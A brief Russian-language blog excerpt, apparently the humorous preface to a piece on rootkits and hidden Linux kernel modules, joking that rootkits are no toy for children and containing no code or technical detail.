Почему-то на всех (ну, или практически всех) фильмах пишут "детям до... рекомендуется смотреть в присутствии взрослых" и еще никто не догадался написать: "рекомендуется смотреть в отсутствии взрослых", что гораздо ближе к истине. Какое отношение это имеет к rootkit'ам и невидимым LKM-модулям? Да самое прямое! Rootkit - детям не игрушка, не товарищ и не друг, и прежде, чем начинать хакерствовать, следует обучиться не только искусству программирования, но и приемам рукопашной борьбы, а то ведь... в жизни всякое случается.

https://nebka.ru/?uid=1&post=20954